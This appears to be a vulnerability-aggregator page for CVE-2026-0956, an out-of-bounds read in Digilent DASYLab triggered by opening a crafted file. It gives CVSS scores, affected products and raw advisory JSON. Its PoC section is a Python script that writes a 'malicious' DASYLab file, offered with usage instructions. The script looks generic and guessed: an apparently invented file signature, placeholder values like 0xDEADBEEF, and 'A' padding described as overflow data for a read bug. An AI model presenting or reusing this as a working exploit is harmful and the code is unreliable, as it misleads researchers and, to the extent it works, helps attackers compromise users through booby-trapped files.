Security Vulnerability Report
中文
CVE-2026-0956 CVSS 7.8 HIGH

CVE-2026-0956

Published: 2026-03-13 19:53:58
Last Modified: 2026-03-19 17:41:10

Description

There is a memory corruption vulnerability due to an out-of-bounds read when loading a corrupted file in Digilent DASYLab.  This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted file. This vulnerability affects all versions of Digilent DASYLab.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:dasylab:*:*:*:*:*:*:*:* - VULNERABLE
Digilent DASYLab < 所有版本(所有版本均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0956 PoC - Digilent DASYLab Out-of-Bounds Read # This PoC creates a malformed Digilent DASYLab file that triggers an out-of-bounds read import struct import os def create_malformed_dasylab_file(output_path): """ Creates a malformed Digilent DASYLab file that triggers CVE-2026-0956 The vulnerability is caused by insufficient bounds checking when loading corrupted files """ # DASYLab file header structure header = bytearray() # Magic number for Digilent DASYLab files header.extend(b'DSLB') # File signature # Version field - corrupted to trigger vulnerability header.extend(struct.pack('<H', 0xFFFF)) # Corrupted version # File size - intentionally mismatched header.extend(struct.pack('<I', 0x1000)) # Declared size # Chunk count - causes out-of-bounds read header.extend(struct.pack('<I', 0x7FFFFFFF)) # Extremely large chunk count # Data section with malformed structure data_section = bytearray() # Corrupted chunk header that triggers bounds check failure data_section.extend(struct.pack('<I', 0xDEADBEEF)) # Malformed chunk type data_section.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid size data_section.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFF)) # Invalid pointer/offset # Padding to reach critical memory region data_section.extend(b'\x00' * 1024) # Final payload that triggers out-of-bounds read data_section.extend(b'A' * 512) # Overflow data # Combine header and data file_content = header + data_section # Write malicious file with open(output_path, 'wb') as f: f.write(file_content) print(f'[+] Malicious DASYLab file created: {output_path}') print(f'[+] File size: {len(file_content)} bytes') print('[+] This file will trigger CVE-2026-0956 when opened in Digilent DASYLab') return file_content def main(): output_file = 'CVE-2026-0956_malformed.dasylab' create_malformed_dasylab_file(output_file) print('\n[!] Usage: Open the generated file in Digilent DASYLab to trigger the vulnerability') print('[!] Expected behavior: Out-of-bounds memory read, potential information disclosure') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0956", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:57.563", "lastModified": "2026-03-19T17:41:09.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a memory corruption vulnerability due to an out-of-bounds read when loading a corrupted file in Digilent DASYLab.  This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted file. This vulnerability affects all versions of Digilent DASYLab."}, {"lang": "es", "value": "Existe una vulnerabilidad de corrupción de memoria debido a una lectura fuera de límites al cargar un archivo corrupto en Digilent DASYLab. Esta vulnerabilidad puede resultar en revelación de información o ejecución de código arbitrario. La explotación exitosa requiere que un atacante logre que un usuario abra un archivo especialmente diseñado. Esta vulnerabilidad afecta a todas las versiones de Digilent DASYLab."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:dasylab:*:*:*:*:*:*:*:*", "matchCriteriaId": "C82FAA96-B2A6-45B2-B5ED-00E56EAB3274"}]}]}], "references": [{"url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/2026/out-of-bounds-read-vulnerabilities-in-digilent-dasylab.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}